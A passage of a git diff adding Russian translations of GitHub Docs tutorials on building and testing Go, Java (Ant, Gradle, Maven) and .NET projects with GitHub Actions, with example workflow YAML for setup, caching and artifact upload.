его использованием с {% data variables.product.prodname_actions %}. Дополнительные сведения см. в статье [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/using-workflows/workflow-syntax-for-github-actions). + +Рекомендуется иметь базовое представление о пакете SDK для языка Go. Дополнительные сведения см. в разделе [Приступая к работе с Go](https://golang.org/doc/tutorial/getting-started). + +## Использование начального рабочего процесса Go + +{% data variables.product.prodname_dotcom %} предоставляет начальный рабочий процесс Go, который должен работать для большинства проектов Go. В этом руководстве приведены примеры, которые можно использовать для настройки начального рабочего процесса. Дополнительные сведения см. в статье [Начальный рабочий процесс Go](https://github.com/actions/starter-workflows/blob/main/ci/go.yml). + +Чтобы быстро приступить к работе, добавьте начальный рабочий процесс в каталог `.github/workflows` своего репозитория. + +```yaml{:copy} +name: Go package + +on: [push] + +jobs: + build: + + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + + - name: Set up Go + uses: {% data reusables.actions.action-setup-go %} + with: + go-version: 1.15 + + - name: Build + run: go build -v ./... + + - name: Test + run: go test -v ./... +``` + +## Указание версии Go + +Самый простой способ указать версию Go заключается в использовании действия `setup-go`, предоставляемого {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в описании [действия `setup-go`](https://github.com/actions/setup-go/). + +Чтобы использовать предустановленную версию Go для средства выполнения, размещенного в {% data variables.product.prodname_dotcom %}, передайте соответствующую версию свойству `go-version` действия `setup-go`. Это действие находит определенную версию Go из кэша инструментов в средстве выполнения и добавляет необходимые двоичные файлы в переменную `PATH`. Эти изменения будут сохранены для остальной части задания. + +Действие `setup-go` представляет собой рекомендуемый способ использования Go с {% data variables.product.prodname_actions %}, так как помогает обеспечить согласованное поведение в разных средствах выполнения и различных версиях Go. При использовании локального средства выполнения необходимо установить Go и добавить его в `PATH`. + +### Использование нескольких версий Go + +```yaml{:copy} +name: Go + +on: [push] + +jobs: + build: + + runs-on: ubuntu-latest + strategy: + matrix: + go-version: [ '1.14', '1.15', '1.16.x' ] + + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Setup Go {% raw %}${{ matrix.go-version }}{% endraw %} + uses: {% data reusables.actions.action-setup-go %} + with: + go-version: {% raw %}${{ matrix.go-version }}{% endraw %} + # You can test your matrix by printing the current Go version + - name: Display Go version + run: go version +``` + +### Использование определенной версии Go + +Вы можете настроить задание для использования конкретной версии Go, например `1.16.2`. Кроме того, можно использовать синтаксис семантической версии, чтобы получить последний дополнительный выпуск. В этом примере используется последнее исправление Go 1.16: + +```yaml{:copy} + - name: Setup Go 1.16.x + uses: {% data reusables.actions.action-setup-go %} + with: + # Semantic version range syntax or exact version of Go + go-version: '1.16.x' +``` + +## Установка зависимостей + +Можно использовать для `go get` установки зависимостей: + +```yaml{:copy} + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Setup Go + uses: {% data reusables.actions.action-setup-go %} + with: + go-version: '1.16.x' + - name: Install dependencies + run: | + go get . + go get example.com/octo-examplemodule + go get example.com/octo-examplemodule@v1.3.4 +``` + +{% ifversion actions-caching %} + +### Кэширование зависимостей + +Можно кэшировать и восстанавливать зависимости с помощью [действия`setup-go`](https://github.com/actions/setup-go). По умолчанию кэширование отключено, но вы можете задать параметр `cache` равным `true`, чтобы включить его. + +Если кэширование включено, действие `setup-go` выполняет поиск файла зависимостей `go.sum` в корневом каталоге репозитория и использует хэш файла зависимостей в составе ключа кэша. + +```yaml{:copy} + - name: Setup Go + uses: {% data reusables.actions.action-setup-go %} + with: + go-version: '1.16.x' + cache: true +``` + +Кроме того, можно использовать параметр `cache-dependency-path` для случаев использования нескольких файлов зависимостей или их расположения в разных подкаталогах. + +```yaml{:copy} + - uses: {% data reusables.actions.action-setup-go %} + with: + go-version: '1.17' + cache: true + cache-dependency-path: subdir/go.sum +``` + +Если у вас есть особые требования или вам нужно управлять кэшированием более детально, можно использовать [действие `cache`](https://github.com/marketplace/actions/cache). Дополнительные сведения см. в разделе [Кэширование зависимостей для ускорения рабочих процессов](/actions/using-workflows/caching-dependencies-to-speed-up-workflows). + +{% endif %} + +## Создание и тестирование кода + +Вы можете использовать те же команды, которые используются для создания и тестирования кода в локальной среде. В этом примере рабочего процесса показано, как использовать `go build` и `go test` в задании: + +```yaml{:copy} +name: Go +on: [push] + +jobs: + build: + runs-on: ubuntu-latest + + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Setup Go + uses: {% data reusables.actions.action-setup-go %} + with: + go-version: '1.16.x' + - name: Install dependencies + run: go get . + - name: Build + run: go build -v ./... + - name: Test with the Go CLI + run: go test +``` + +## Упаковка данных рабочего процесса в виде артефактов + +После завершения рабочего процесса можно отправить полученные артефакты для анализа. Например, может потребоваться сохранить файлы журналов, основные дампы, результаты теста или снимки экрана. В следующем примере показано, как использовать действие `upload-artifact` для отправки результатов теста. + +Дополнительные сведения см. в разделе [Хранение данных рабочего процесса в качестве артефактов](/actions/using-workflows/storing-workflow-data-as-artifacts). + +```yaml{:copy} +name: Upload Go test results + +on: [push] + +jobs: + build: + + runs-on: ubuntu-latest + strategy: + matrix: + go-version: [ '1.14', '1.15', '1.16.x' ] + + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Setup Go + uses: {% data reusables.actions.action-setup-go %} + with: + go-version: {% raw %}${{ matrix.go-version }}{% endraw %} + - name: Install dependencies + run: go get . + - name: Test with Go + run: go test -json > TestResults-{% raw %}${{ matrix.go-version }}{% endraw %}.json + - name: Upload Go test results + uses: {% data reusables.actions.action-upload-artifact %} + with: + name: Go-results-{% raw %}${{ matrix.go-version }}{% endraw %} + path: TestResults-{% raw %}${{ matrix.go-version }}{% endraw %}.json +``` diff --git a/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md b/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md new file mode 100644 index 000000000000..ec2dc1dec85e --- /dev/null +++ b/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md @@ -0,0 +1,122 @@ +--- +title: Сборка и тестирование Java с помощью Ant +intro: Рабочий процесс непрерывной интеграции (CI) можно создать в GitHub Actions для сборки и тестирования проекта Java с помощью Ant. +redirect_from: + - /actions/language-and-framework-guides/building-and-testing-java-with-ant + - /actions/guides/building-and-testing-java-with-ant +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - CI + - Java + - Ant +shortTitle: Build & test Java & Ant +ms.openlocfilehash: d1e73fdce7bf23bf1b86ec3eb4d0f8acd9b6d292 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145088733' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +В этом руководстве показано, как создать рабочий процесс, который выполняет непрерывную интеграцию (CI) для вашего проекта Java с помощью системы сборки Ant. Создаваемый рабочий процесс позволит увидеть, когда фиксации в запросе на вытягивание вызывают сбои в сборке или тестировании ветви по умолчанию; этот подход поможет убедиться, что ваш код всегда работоспособен. Можно расширить рабочий процесс CI, чтобы передать артефакты через выполнение рабочего процесса. + +Средства выполнения, размещенные на {% ifversion ghae %} {% data reusables.actions.self-hosted-runners-software %} {% else %} {% data variables.product.prodname_dotcom %}, имеют кэш средств с предварительно установленным программным обеспечением, включающим в себя комплекты SDK для Java (JDK) и Ant. Список программного обеспечения и предварительно установленных версий JDK и Ant см. в разделе [Спецификации для средств выполнения, размещенных в {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software). +{% endif %} + +## Предварительные требования + +Требуются знания YAML и синтаксиса {% data variables.product.prodname_actions %}. Дополнительные сведения см. в разделе: +- [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions) +- «[Сведения о {% data variables.product.prodname_actions %}](/actions/learn-github-actions)» + +Рекомендуется иметь базовое представление о Java и платформе Ant. Дополнительные сведения см. в [руководстве по Apache Ant](https://ant.apache.org/manual/). + +{% data reusables.actions.enterprise-setup-prereq %} + +## Использование начального рабочего процесса Ant + +{% data variables.product.prodname_dotcom %} предоставляет начальный рабочий процесс Ant, который будет работать для большинства проектов Java на базе Ant. Дополнительные сведения см. в разделе [Начальный рабочий процесс Ant](https://github.com/actions/starter-workflows/blob/main/ci/ant.yml). + +Чтобы быстро приступить к работе, при создании нового рабочего процесса можно выбрать предварительно настроенный начальный рабочий процесс Ant. Дополнительные сведения см. в разделе [Краткое руководство по {% data variables.product.prodname_actions %}](/actions/quickstart). + +Этот рабочий процесс также можно добавить вручную, создав новый файл в каталоге `.github/workflows` репозитория. + +```yaml{:copy} +name: Java CI + +on: [push] + +jobs: + build: + runs-on: ubuntu-latest + + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Set up JDK 11 + uses: {% data reusables.actions.action-setup-java %} + with: + java-version: '11' + distribution: 'adopt' + - name: Build with Ant + run: ant -noinput -buildfile build.xml +``` + +Этот рабочий процесс выполняет следующие действия: + +1. На шаге `checkout` в средство выполнения скачивается копия репозитория. +2. На шаге `setup-java` происходит настройка JDK 11 Java с помощью Adoptium. +3. На шаге "Сборка с помощью Ant" целевой объект по умолчанию запускается в `build.xml` в неинтерактивном режиме. + +Начальные рабочие процессы по умолчанию — это отличные отправные точки при создании рабочего процесса сборки и тестирования, а также начальный рабочий процесс можно настроить в соответствии с потребностями проекта. + +{% data reusables.actions.example-github-runner %} + +{% data reusables.actions.java-jvm-architecture %} + +## Создание и тестирование кода + +Вы можете использовать те же команды, которые используются для создания и тестирования кода в локальной среде. + +Начальный рабочий процесс выполнит целевой объект по умолчанию, указанный в вашем файле _build.xml_. Целевой объект по умолчанию обычно будет настроен на сборку классов, выполнение тестов и классов пакетов в их распространяемом формате, например файл JAR. + +Если вы используете разные команды для сборки проекта или хотите выполнить другой целевой объект, это можно указать. Например, может понадобиться выполнить целевой объект `jar`, настроенный в файле `_build-ci.xml_`. + +```yaml{:copy} +steps: + - uses: {% data reusables.actions.action-checkout %} + - uses: {% data reusables.actions.action-setup-java %} + with: + java-version: '11' + distribution: 'adopt' + - name: Run the Ant jar target + run: ant -noinput -buildfile build-ci.xml jar +``` + +## Упаковка данных рабочего процесса в виде артефактов + +После успешной сборки и прохождения тестов может потребоваться передать полученные пакеты Java в виде артефакта сборки. Полученные пакеты будут храниться как часть выполнения рабочего процесса и их можно будет скачать. Артефакты помогут вам протестировать и отладить запросы на вытягивание в локальной среде до их слияния. Дополнительные сведения см. в разделе [Сохранение данных рабочего процесса с помощью артефактов](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts). + +Как правило, Ant создает выходные файлы, такие как JAR, EAR или WAR, в каталоге `build/jar`. Содержимое этого каталога можно передать с помощью действия `upload-artifact`. + +```yaml{:copy} +steps: + - uses: {% data reusables.actions.action-checkout %} + - uses: {% data reusables.actions.action-setup-java %} + with: + java-version: '11' + distribution: 'adopt' + + - run: ant -noinput -buildfile build.xml + - uses: {% data reusables.actions.action-upload-artifact %} + with: + name: Package + path: build/jar +``` diff --git a/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md b/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md new file mode 100644 index 000000000000..8ca9209aabf1 --- /dev/null +++ b/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md @@ -0,0 +1,149 @@ +--- +title: Сборка и тестирование в Java с помощью Gradle +intro: Рабочий процесс непрерывной интеграции (CI) можно создать в GitHub Actions для сборки и тестирования проекта Java с помощью Gradle. +redirect_from: + - /actions/language-and-framework-guides/building-and-testing-java-with-gradle + - /actions/guides/building-and-testing-java-with-gradle +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - CI + - Java + - Gradle +shortTitle: Build & test Java & Gradle +ms.openlocfilehash: 00fa6888a45dda090df51260795717bc994be022 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147410446' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +В этом руководстве показано, как создать рабочий процесс, который выполняет непрерывную интеграцию (CI) для вашего проекта Java с помощью системы сборки Gradle. Создаваемый рабочий процесс позволит увидеть, когда фиксации в запросе на вытягивание вызывают сбои в сборке или тестировании ветви по умолчанию; этот подход поможет убедиться, что ваш код всегда работоспособен. Вы можете расширить рабочий процесс CI, чтобы {% ifversion actions-caching %}кэшировать файлы и{% endif %} передавать артефакты через выполнение рабочего процесса. + +{% ifversion ghae %} {% data reusables.actions.self-hosted-runners-software %} {% else %} Средства выполнения, размещенные на {% data variables.product.prodname_dotcom %}, имеют кэш средств с предварительно установленным программным обеспечением, включающим в себя комплекты SDK для Java (JDK) и Gradle. Список программного обеспечения и предварительно установленных версий JDK и Gradle см. в разделе [Спецификации для средств выполнения, размещенных на {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software). +{% endif %} + +## Предварительные требования + +Требуются знания YAML и синтаксиса {% data variables.product.prodname_actions %}. Дополнительные сведения см. в разделе: +- [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions) +- «[Сведения о {% data variables.product.prodname_actions %}](/actions/learn-github-actions)» + +Рекомендуется иметь базовое представление о Java и платформе Gradle. Дополнительные сведения см. в разделе [Приступая к работе](https://docs.gradle.org/current/userguide/getting_started.html) документации по Gradle. + +{% data reusables.actions.enterprise-setup-prereq %} + +## Использование начального рабочего процесса Gradle + +{% data variables.product.prodname_dotcom %} предоставляет начальный рабочий процесс Gradle, который будет работать для большинства проектов Java на базе Gradle. Дополнительные сведения см. в разделе [Начальный рабочий процесс Gradle](https://github.com/actions/starter-workflows/blob/main/ci/gradle.yml). + +Чтобы быстро приступить к работе, при создании рабочего процесса можно выбрать предварительно настроенный начальный рабочий процесс Gradle. Дополнительные сведения см. в [кратком руководстве по {% data variables.product.prodname_actions %}](/actions/quickstart). + +Этот рабочий процесс также можно добавить вручную, создав новый файл в каталоге `.github/workflows` репозитория. + +```yaml{:copy} +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Java CI + +on: [push] + +jobs: + build: + runs-on: ubuntu-latest + + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Set up JDK 11 + uses: {% data reusables.actions.action-setup-java %} + with: + java-version: '11' + distribution: 'adopt' + - name: Validate Gradle wrapper + uses: gradle/wrapper-validation-action@e6e38bacfdf1a337459f332974bb2327a31aaf4b + - name: Build with Gradle + uses: gradle/gradle-build-action@67421db6bd0bf253fb4bd25b31ebb98943c375e1 + with: + arguments: build +``` + +Этот рабочий процесс выполняет следующие действия: + +1. На шаге `checkout` в средство выполнения скачивается копия репозитория. +2. На шаге `setup-java` происходит настройка JDK 11 Java от Adoptium. +3. На шаге "Проверка программы-оболочки Gradle" проверяются контрольные суммы JAR-файлов программы-оболочки Gradle, имеющихся в исходном дереве. +4. На шаге "Сборка с помощью Gradle" выполняется сборка с помощью действия `gradle/gradle-build-action`, предоставленного организацией Gradle на {% data variables.product.prodname_dotcom %}. Это действие отвечает за вызов Gradle, сбор результатов и кэширование состояния между заданиями. Дополнительные сведения см. на веб-сайте [`gradle/gradle-build-action`](https://github.com/gradle/gradle-build-action). + +Начальные рабочие процессы по умолчанию — это отличные отправные точки при создании рабочего процесса сборки и тестирования, а также начальный рабочий процесс можно настроить в соответствии с потребностями проекта. + +{% data reusables.actions.example-github-runner %} + +{% data reusables.actions.java-jvm-architecture %} + +## Создание и тестирование кода + +Вы можете использовать те же команды, которые используются для создания и тестирования кода в локальной среде. + +Начальный рабочий процесс будет по умолчанию запускать задачу `build`. В конфигурации Gradle по умолчанию эта команда скачивает зависимости, выполняет сборку классов, проводит тесты и упаковывает классы в распространяемый формат, например в JAR-файл. + +Если вы используете другие команды для сборки проекта или хотите выполнить другую задачу, это можно указать. Например, может понадобиться выполнить задачу `package`, настроенную в файле _ci.gradle_. + +```yaml{:copy} +steps: + - uses: {% data reusables.actions.action-checkout %} + - uses: {% data reusables.actions.action-setup-java %} + with: + java-version: '11' + distribution: 'adopt' + - name: Validate Gradle wrapper + uses: gradle/wrapper-validation-action@e6e38bacfdf1a337459f332974bb2327a31aaf4b + - name: Run the Gradle package task + uses: gradle/gradle-build-action@67421db6bd0bf253fb4bd25b31ebb98943c375e1 + with: + arguments: -b ci.gradle package +``` + +{% ifversion actions-caching %} + +## Кэширование зависимостей + +Зависимости сборки можно кэшировать, чтобы ускорить выполнение рабочего процесса. После успешного выполнения `gradle/gradle-build-action` кэширует важные части домашнего каталога пользователя Gradle. При последующих запусках заданий данные из кэша восстанавливаются, так что скрипты сборки не нужно перекомпилировать, а зависимости не нужно скачивать из удаленных репозиториев пакетов. + +При использовании действия `gradle/gradle-build-action` кэширование включено по умолчанию. Дополнительные сведения см. на веб-сайте [`gradle/gradle-build-action`](https://github.com/gradle/gradle-build-action#caching). + +{% endif %} + +## Упаковка данных рабочего процесса в виде артефактов + +После успешной сборки и прохождения тестов может потребоваться передать полученные пакеты Java в виде артефакта сборки. Полученные пакеты будут храниться как часть выполнения рабочего процесса и их можно будет скачать. Артефакты помогут вам протестировать и отладить запросы на вытягивание в локальной среде до их слияния. Дополнительные сведения см. в разделе [Сохранение данных рабочего процесса с помощью артефактов](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts). + +Как правило, Gradle создает выходные файлы, такие как JAR, EAR или WAR, в каталоге `build/libs`. Содержимое этого каталога можно передать с помощью действия `upload-artifact`. + +```yaml{:copy} +steps: + - uses: {% data reusables.actions.action-checkout %} + - uses: {% data reusables.actions.action-setup-java %} + with: + java-version: '11' + distribution: 'adopt' + - name: Validate Gradle wrapper + uses: gradle/wrapper-validation-action@e6e38bacfdf1a337459f332974bb2327a31aaf4b + - name: Build with Gradle + uses: gradle/gradle-build-action@67421db6bd0bf253fb4bd25b31ebb98943c375e1 + with: + arguments: build + - uses: {% data reusables.actions.action-upload-artifact %} + with: + name: Package + path: build/libs +``` diff --git a/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md b/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md new file mode 100644 index 000000000000..8d5f505aea06 --- /dev/null +++ b/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md @@ -0,0 +1,145 @@ +--- +title: Сборка и тестирование в Java с помощью Maven +intro: Рабочий процесс непрерывной интеграции (CI) можно создать в GitHub Actions для сборки и тестирования проекта Java с помощью Maven. +redirect_from: + - /actions/language-and-framework-guides/building-and-testing-java-with-maven + - /actions/guides/building-and-testing-java-with-maven +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - CI + - Java + - Maven +shortTitle: Build & test Java with Maven +ms.openlocfilehash: 59d8961a7fdd1d8b84a05b8762bb09be3d2ab01c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146179810' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +В этом руководстве показано, как создать рабочий процесс, который выполняет непрерывную интеграцию (CI) для вашего проекта Java с помощью средства управления проектами программного обеспечения Maven. Создаваемый рабочий процесс позволит увидеть, когда фиксации в запросе на вытягивание вызывают сбои в сборке или тестировании ветви по умолчанию; этот подход поможет убедиться, что ваш код всегда работоспособен. Вы можете расширить рабочий процесс CI, чтобы {% ifversion actions-caching %}кэшировать файлы и{% endif %} передавать артефакты через выполнение рабочего процесса. + +Средства выполнения, размещенные на {% ifversion ghae %} {% data reusables.actions.self-hosted-runners-software %} {% else %} {% data variables.product.prodname_dotcom %}, имеют кэш средств с предварительно установленным программным обеспечением, включающим в себя комплекты SDK для Java (JDK) и Maven. Список программного обеспечения и предварительно установленных версий JDK и Maven см. в разделе [Спецификации для средств выполнения, размещенных на {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software). +{% endif %} + +## Предварительные требования + +Требуются знания YAML и синтаксиса {% data variables.product.prodname_actions %}. Дополнительные сведения см. в разделе: +- [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions) +- «[Сведения о {% data variables.product.prodname_actions %}](/actions/learn-github-actions)» + +Рекомендуется иметь базовое представление о Java и платформе Maven. Дополнительные сведения см. в [руководстве по началу работы с Maven](http://maven.apache.org/guides/getting-started/index.html) в документации Maven. + +{% data reusables.actions.enterprise-setup-prereq %} + +## Использование начального рабочего процесса Maven + +{% data variables.product.prodname_dotcom %} предоставляет начальный рабочий процесс Maven, который будет работать для большинства проектов Java на базе Maven. Дополнительные сведения см. в разделе [Начальный рабочий процесс Maven](https://github.com/actions/starter-workflows/blob/main/ci/maven.yml). + +Чтобы быстро приступить к работе, при создании рабочего процесса можно выбрать предварительно настроенный начальный рабочий процесс Maven. Дополнительные сведения см. в [кратком руководстве по {% data variables.product.prodname_actions %}](/actions/quickstart). + +Этот рабочий процесс также можно добавить вручную, создав новый файл в каталоге `.github/workflows` репозитория. + +```yaml{:copy} +name: Java CI + +on: [push] + +jobs: + build: + runs-on: ubuntu-latest + + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Set up JDK 11 + uses: {% data reusables.actions.action-setup-java %} + with: + java-version: '11' + distribution: 'adopt' + - name: Build with Maven + run: mvn --batch-mode --update-snapshots package +``` + +Этот рабочий процесс выполняет следующие действия: + +1. На шаге `checkout` в средство выполнения скачивается копия репозитория. +2. На шаге `setup-java` происходит настройка JDK 11 Java от Adoptium. +3. На шаге "Сборка с помощью Maven" целевой объект Maven `package` запускается в неинтерактивном режиме для проверки того, что сборка кода выполняется, тесты завершаются удачно и пакет можно создать. + +Начальные рабочие процессы по умолчанию — это отличные отправные точки при создании рабочего процесса сборки и тестирования, а также начальный рабочий процесс можно настроить в соответствии с потребностями проекта. + +{% data reusables.actions.example-github-runner %} + +{% data reusables.actions.java-jvm-architecture %} + +## Создание и тестирование кода + +Вы можете использовать те же команды, которые используются для создания и тестирования кода в локальной среде. + +Начальный рабочий процесс будет по умолчанию запускать целевой объект `package`. В конфигурации Maven по умолчанию эта команда скачивает зависимости, выполняет сборку классов, проводит тесты и упаковывает классы в распространяемый формат, например в JAR-файл. + +Если вы используете другие команды для сборки проекта или хотите выполнить другой целевой объект, это можно указать. Например, может понадобиться выполнить целевой объект `verify`, настроенный в файле _pom-ci.xml_. + +```yaml{:copy} +steps: + - uses: {% data reusables.actions.action-checkout %} + - uses: {% data reusables.actions.action-setup-java %} + with: + java-version: '11' + distribution: 'adopt' + - name: Run the Maven verify phase + run: mvn --batch-mode --update-snapshots verify +``` + +{% ifversion actions-caching %} + +## Кэширование зависимостей + +Вы можете кэшировать зависимости, чтобы ускорить выполнение рабочего процесса. После успешного выполнения локальный репозиторий Maven будет храниться в кэше. При последующих запусках рабочего процесса данные из кэша восстанавливаются, так что зависимости не нужно скачивать из удаленных репозиториев Maven. Кэшировать зависимости можно просто с помощью [действия `setup-java`](https://github.com/marketplace/actions/setup-java-jdk), либо можно использовать [действие `cache`](https://github.com/actions/cache) для более сложной настройки. + +```yaml{:copy} +steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Set up JDK 11 + uses: {% data reusables.actions.action-setup-java %} + with: + java-version: '11' + distribution: 'adopt' + cache: maven + - name: Build with Maven + run: mvn --batch-mode --update-snapshots verify +``` + +Этот рабочий процесс сохраняет содержимое локального репозитория Maven, расположенного в каталоге `.m2` домашнего каталога средства выполнения. Ключом кэша будет хэш содержимого файла _pom.xml_, поэтому изменения в файле _pom.xml_ делают кэш недействительным. + +{% endif %} + +## Упаковка данных рабочего процесса в виде артефактов + +После успешной сборки и прохождения тестов может потребоваться передать полученные пакеты Java в виде артефакта сборки. Полученные пакеты будут храниться как часть выполнения рабочего процесса и их можно будет скачать. Артефакты помогут вам протестировать и отладить запросы на вытягивание в локальной среде до их слияния. Дополнительные сведения см. в разделе [Сохранение данных рабочего процесса с помощью артефактов](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts). + +Как правило, Maven создает выходные файлы, такие как JAR, EAR или WAR, в каталоге `target`. Чтобы передать их как артефакты, их можно скопировать в новый каталог, содержащий артефакты для отправки. Например, можно создать каталог с именем `staging`. Затем содержимое этого каталога можно передать с помощью действия `upload-artifact`. + +```yaml{:copy} +steps: + - uses: {% data reusables.actions.action-checkout %} + - uses: {% data reusables.actions.action-setup-java %} + with: + java-version: '11' + distribution: 'adopt' + - run: mvn --batch-mode --update-snapshots verify + - run: mkdir staging && cp target/*.jar staging + - uses: {% data reusables.actions.action-upload-artifact %} + with: + name: Package + path: staging +``` diff --git a/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-net.md b/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-net.md new file mode 100644 index 000000000000..8ba67e9aa95d --- /dev/null +++ b/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-net.md @@ -0,0 +1,247 @@ +--- +title: Создание и тестирование для .NET +intro: Можно создать рабочий процесс непрерывной интеграции (CI) для сборки и тестирования проекта .NET. +redirect_from: + - /actions/guides/building-and-testing-net +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Build & test .NET +ms.openlocfilehash: eadb00516976159f2efffcaa04cb4b46471c527f +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147063621' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +В этом руководстве описано, как создать, протестировать и опубликовать пакет .NET. + +{% ifversion ghae %} Чтобы создать и протестировать проект .NET на платформе {% data variables.product.prodname_ghe_managed %}, требуется пакет SDK для .NET Core. {% data reusables.actions.self-hosted-runners-software %} {% else %} Размещенные в {% data variables.product.prodname_dotcom %} средства выполнения имеют кэш инструментов с предварительно установленным программным обеспечением, включающим в себя пакет SDK для .NET Core. Полный список актуального программного обеспечения и предварительно установленных версий пакета SDK для .NET Core см. в разделе [Программное обеспечение, установленное в средствах выполнения, размещенных в {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners). +{% endif %} + +## Предварительные требования + +Вы уже должны быть знакомы с синтаксисом YAML и его использованием с {% data variables.product.prodname_actions %}. Дополнительные сведения см. в статье [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions). + +Рекомендуется иметь базовое представление о пакете SDK для .NET Core. Дополнительные сведения см. в разделе [Приступая к работе с .NET](https://dotnet.microsoft.com/learn). + +## Использование начального рабочего процесса .NET + +{% data variables.product.prodname_dotcom %} предоставляет начальный рабочий процесс .NET, который должен работать для большинства проектов .NET. В этом руководстве приведены примеры настройки начального рабочего процесса. Дополнительные сведения см. в разделе [Начальный рабочий процесс .NET](https://github.com/actions/setup-dotnet). + +Чтобы быстро приступить к работе, добавьте начальный рабочий процесс в каталог `.github/workflows` своего репозитория. + +```yaml +name: dotnet package + +on: [push] + +jobs: + build: + + runs-on: ubuntu-latest + strategy: + matrix: + dotnet-version: ['3.0', '3.1.x', '5.0.x' ] + + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Setup .NET Core SDK {% raw %}${{ matrix.dotnet-version }}{% endraw %} + uses: {% data reusables.actions.action-setup-dotnet %} + with: + dotnet-version: {% raw %}${{ matrix.dotnet-version }}{% endraw %} + - name: Install dependencies + run: dotnet restore + - name: Build + run: dotnet build --configuration Release --no-restore + - name: Test + run: dotnet test --no-restore --verbosity normal +``` + +## Указание версии .NET + +Чтобы использовать предустановленную версию пакета SDK для .NET Core в размещенном в {% data variables.product.prodname_dotcom %} средстве выполнения, используйте действие `setup-dotnet`. Это действие находит определенную версию .NET из кэша инструментов в средстве выполнения и добавляет необходимые двоичные файлы в переменную `PATH`. Эти изменения будут сохранены для остальной части задания. + +Действие `setup-dotnet` представляет собой рекомендуемый способ использования .NET с {% data variables.product.prodname_actions %}, так как он обеспечивает согласованное поведение в разных средствах выполнения и различных версиях .NET. При использовании локального средства выполнения необходимо установить .NET и добавить его в `PATH`. Дополнительные сведения см. в описании действия [`setup-dotnet`](https://github.com/marketplace/actions/setup-net-core-sdk). + +### Использование нескольких версий .NET + +```yaml +name: dotnet package + +on: [push] + +jobs: + build: + + runs-on: ubuntu-latest + strategy: + matrix: + dotnet-version: [ '3.0', '3.1.x', '5.0.x' ] + + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Setup dotnet {% raw %}${{ matrix.dotnet-version }}{% endraw %} + uses: {% data reusables.actions.action-setup-dotnet %} + with: + dotnet-version: {% raw %}${{ matrix.dotnet-version }}{% endraw %} + # You can test your matrix by printing the current dotnet version + - name: Display dotnet version + run: dotnet --version +``` + +### Использование определенной версии .NET + +Вы можете настроить задание для использования конкретной версии .NET, например `3.1.3`. Кроме того, можно использовать синтаксис семантической версии, чтобы получить последний дополнительный выпуск. В этом примере используется последний дополнительный выпуск .NET 3. + +```yaml + - name: Setup .NET 3.x + uses: 